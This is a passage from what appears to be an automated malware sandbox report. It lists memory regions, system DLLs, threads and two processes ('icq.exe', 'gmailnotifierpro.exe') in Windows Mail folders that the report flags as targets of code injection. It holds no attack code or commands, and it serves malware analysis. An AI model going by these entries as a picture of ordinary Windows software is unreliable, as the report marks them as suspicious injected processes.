start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4538 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4539 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4540 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4541 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4542 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4543 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4544 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4545 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4546 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4547 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4548 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4549 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4550 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4551 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4552 start_va = 0x7f070000 end_va = 0x7f16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f070000" filename = "" Region: id = 4553 start_va = 0x7f170000 end_va = 0x7f192fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f170000" filename = "" Region: id = 4554 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4555 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4556 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4557 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4568 start_va = 0xc70000 end_va = 0xc73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 4569 start_va = 0xc80000 end_va = 0xc80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 4570 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4571 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4572 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 4573 start_va = 0xc90000 end_va = 0xc90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 4574 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5942 start_va = 0xca0000 end_va = 0xca0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 5943 start_va = 0xdd0000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 5944 start_va = 0x23e0000 end_va = 0x2716fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 231 os_tid = 0xed8 Thread: id = 232 os_tid = 0xed0 Thread: id = 373 os_tid = 0x12f0 Process: id = "45" image_name = "icq.exe" filename = "c:\\program files\\windows mail\\icq.exe" page_root = "0x6bfd0000" os_pid = "0xeb4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Mail\\icq.exe\" " cur_dir = "C:\\Program Files\\Windows Mail\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4575 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4576 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4577 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4578 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4579 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4580 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4581 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4582 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4583 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4584 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4585 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4586 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4587 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4588 start_va = 0x510000 end_va = 0x513fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4589 start_va = 0x540000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 4590 start_va = 0x740000 end_va = 0x8c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 4591 start_va = 0x8d0000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4592 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 4593 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 4594 start_va = 0xb50000 end_va = 0xc0bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 4595 start_va = 0xd30000 end_va = 0xd46fff monitored = 0 entry_point = 0xd314a1 region_type = mapped_file name = "icq.exe" filename = "\\Program Files\\Windows Mail\\icq.exe" (normalized: "c:\\program files\\windows mail\\icq.exe") Region: id = 4596 start_va = 0xd50000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 4597 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4598 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4599 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4600 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4601 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4602 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4603 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4604 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4605 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4606 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4607 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4608 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4609 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4610 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4611 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4612 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4613 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4614 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4615 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4616 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4617 start_va = 0x7f6e0000 end_va = 0x7f7dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6e0000" filename = "" Region: id = 4618 start_va = 0x7f7e0000 end_va = 0x7f802fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f7e0000" filename = "" Region: id = 4619 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4620 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4621 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4622 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4649 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4650 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 4651 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4652 start_va = 0x640000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4653 start_va = 0xc10000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 4654 start_va = 0x4f0000 end_va = 0x4f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 4655 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4656 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 4657 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4658 start_va = 0x2150000 end_va = 0x2486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 233 os_tid = 0xec0 Thread: id = 234 os_tid = 0xeb8 Thread: id = 374 os_tid = 0x139c Process: id = "46" image_name = "gmailnotifierpro.exe" filename = "c:\\program files (x86)\\windows mail\\gmailnotifierpro.exe" page_root = "0x73cc6000" os_pid = "0xeac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Mail\\gmailnotifierpro.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Mail\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4659 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4660 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4661 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4662 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4663 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4664 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4665 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4666 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4667 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4668 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4669 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4670 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4671 start_va = 0x620000 end_va = 0x623fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 4672 start_va = 0x630000 end_va = 0x633fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 4673 start_va = 0x660000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4674 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 4675 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 4676 start_va = 0xa80000 end_va = 0xb3bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4677 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 4678 start_va = 0xc70000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 4679 start_va = 0x1160000 end_va = 0x1176fff monitored = 0 entry_point = 0x11614a1 region_type = mapped_file name = "gmailnotifierpro.exe" filename = "\\Program Files (x86)\\Windows Mail\\gmailnotifierpro.exe" (normalized: "c:\\program files (x86)\\windows mail\\gmailnotifierpro.exe") Region: id = 4680 start_va = 0x1180000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001180000" filename = "" Region: id = 4681 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4682 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4683 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4684 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4685 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4686 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4687 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4688 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4689 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4690 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4691 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4692 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4693 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4694 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4695 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4696 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4697 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4698 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4699 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4700 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4701 start_va = 0x7f490000 end_va = 0x7f58ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f490000" filename = "" Region: id = 4702 start_va = 0x7f590000 end_va = 0x7f5b2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f590000" filename = "" Region: id = 4703 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4704 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = 